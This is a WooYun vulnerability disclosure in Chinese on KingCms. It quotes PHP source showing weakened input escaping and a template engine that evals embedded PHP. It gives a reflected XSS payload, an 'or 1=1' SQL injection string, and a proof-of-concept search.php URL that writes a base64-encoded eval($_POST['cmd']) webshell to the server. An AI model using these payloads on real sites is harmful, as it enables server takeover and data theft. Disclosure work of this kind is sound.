当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(11) 关注此漏洞

缺陷编号: WooYun-2012-09469

漏洞标题: KingCms Multiple Vulnerabilities

相关厂商: King CMS

漏洞作者: Zvall

提交时间: 2012-07-11 10:32

公开时间: 2012-08-25 10:33

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 10

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-07-11: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-08-25: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

SQL注入加+代码执行

详细说明:

code 区域
function kc_pageLoad(){
if (KC_MAGIC_QUOTES_GPC){
$_GET=kc_stripslashes_array($_GET);
$_POST=kc_stripslashes_array($_POST);
$_COOKIE=kc_stripslashes_array($_COOKIE);
$array=array('PHP_SELF','SCRIPT_URI','QUERY_STRING','PATH_INFO','PATH_TRANSLATED');
foreach($array as $val){
if(isset($_SERVER[$val]))
$_SERVER[$val]=htmlspecialchars($_SERVER[$val]);
//这里程序员考虑到了跨站的问题
例如:我们提交一个 fuca.php/"><script>alert(/Samy/)</script>
就导致一个反射型XSS

}
}

//设置ismethod值 true:post ; false:get
$ismethod=kc_post('METHOD') ? True : False;
$GLOBALS['ismethod']=!($_SERVER['REQUEST_METHOD']=='GET' || $ismethod);
}


function kc_stripslashes_array(&$_data){
if (is_array($_data)){
foreach ($_data as $_key => $_value){
$_data[$_key]=kc_stripslashes_array($_value);
}
return $_data;
}else{
return stripslashes($_data);
}
}



decode addslashes 呵



程序在去掉转义字符的同时.也为我们的注入带来方便



因此程序员也写了一个函数 来获取GET 和 POST数组的值 并调用kc_validate



用正则表达式来匹配我们提交的值:



code 区域
function kc_get($name,$type=2,$is=0){
global $king;

$val=isset($_GET[$name]) ? $_GET[$name] :'';
if(!isset($val{0}))
$val=isset($_POST[$name]) ? $_POST[$name] : '';
if(isset($val{0})){
if(kc_validate($val,$type)){
$_getid=$val;
}else{
kc_error($king->lang->get
略....

kc_validate


function kc_validate($s,$_type){
switch($_type){
case 1:$_reg='/^[a-zA-Z0-9]+$/';break;
case 2:$_reg='/^[0-9]+$/';break;
case 3:$_reg='/^([0-9\.]+\,?)+$/';break;
case 4:$_reg='/^[A-Za-z0-9\_]+$/';break;
case 5:
$_reg='/^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$/';break;
case 6:
//$_reg='/^(http|https|ftp):(\/\/|\\\\)(([\w\/\\\+\-~`@:%])+\.)+([\w\/\.\=\?\+\-~`@\:!%#]|(&)|&)+/';
$_reg='/^[a-zA-Z]{3,10}:\/\/[^\s]+$/';
break;
case 7:
global $king;
// $_bool=in_array(kc_f_ext($s),explode('|',$king->config('upimg')));
// retrun $_bool;
$_reg='/^([a-zA-Z]{3,10}:\/\/)?[^\s]+\.('.$king->config('upimg').')$/';
//$_reg='/^((http|https|ftp):(\/\/|\\\\)(([\w\/\\\+\-~`@:%])+\.)+([\w\/\.\=\?\+\-~`@\:!%#]|(&)|&)+|([\w\/\\\.\=\?\+\-~`@\':!%#]|(&)|&)+)\.('.$king->config('upimg').')$/';
break;//jpeg|jpg|gif|png|bmp
case 8:
$_reg='/^((((1[6-9]|[2-9]\d)\d{2})-(0?[13578]|1[02])-(0?[1-9]|[12]\d|3[01]))|(((1[6-9]|[2-9]\d)\d{2})-(0?[13456789]|1[012])-(0?[1-9]|[12]\d|30))|(((1[6-9]|[2-9]\d)\d{2})-0?2-(0?[1-9]|1\d|2[0-8]))|(((1[6-9]|[2-9]\d)(0[48]|[2468][048]|[13579][26])|((16|[2468][048]|[3579][26])00))-0?2-29)) (20|21|22|23|[0-1]?\d):[0-5]?\d:[0-5]?\d$/';break;
case 9:
$_reg='/^((((1[6-9]|[2-9]\d)\d{2})-(0?[13578]|1[02])-(0?[1-9]|[12]\d|3[01]))|(((1[6-9]|[2-9]\d)\d{2})-(0?[13456789]|1[012])-(0?[1-9]|[12]\d|30))|(((1[6-9]|[2-9]\d)\d{2})-0?2-(0?[1-9]|1\d|2[0-8]))|(((1[6-9]|[2-9]\d)(0[48]|[2468][048]|[13579][26])|((16|[2468][048]|[3579][26])00))-0?2-29))$/';break;
case 10:$_reg='/^\d?\.\d?\.\d{4}$/';break;
case 13:$_reg='/^#?[0-9A-Fa-f]{6}$/';break;
default:$_reg=$_type;
case 22:$_reg='/^\-?[0-9]+$/';break;
case 23:$_reg='/^[a-zA-Z][a-zA-Z0-9\_]*/';break;
case 24:$_reg='/^[a-zA-Z0-9-_]+$/';break;
case 25:$_reg='/[a-zA-Z0-9\+\%]+(\=)*$/';break;
case 33:$_reg='/^(\-?[0-9]+\,?)+$/';break;
default:$_reg=$_type;
略..





代码执行:

code 区域
$tmp=$t ? $t : $this->tmp;
if(substr($tmp,0,6)=='{Tags}'){
$s='<div style="border:5px solid #CCC;background:#EFEEEE;padding:15px;line-height:20px;">';
foreach($this->array as $key => $val){
$s.="<tt>{king:$key/}</tt> -&gt; $val <br/>";
}
$s.='</div>';

}else{
kc_runtime('Template');

$s=preg_replace_callback($this->parent,array(&$this,'regexcallback'),$tmp);

kc_runtime('Template',1);

}



$parent='/<\?(php)?(\S*?)((.|\n)+?)\?>/is';

$s=preg_replace_callback($parent,array(&$this,'regexphpcallback'),$s);

return $s;
public function regexphpcallback($m){
$php=$m[3];

if(isset($php)){
ob_start();
eval($php);
$s=ob_get_clean();
}

return $s;
}

漏洞证明:

由于id进入了Path中 我们提交l999999.9 or 1=1 会生成





由于是从mysql中读值.我们无法控制. 不能构造webshell了







代码执行:



http://localhost/king/search.php?query=facked';?><?fputs(fopen('Samy.php','w'),base64_decode('MTExPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4yMjI='));?>&modelid=1 or 2=2



修复方案:

你懂的吧!!

版权声明:转载请注明来源 Zvall@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

登录后才能发表评论,请先 登录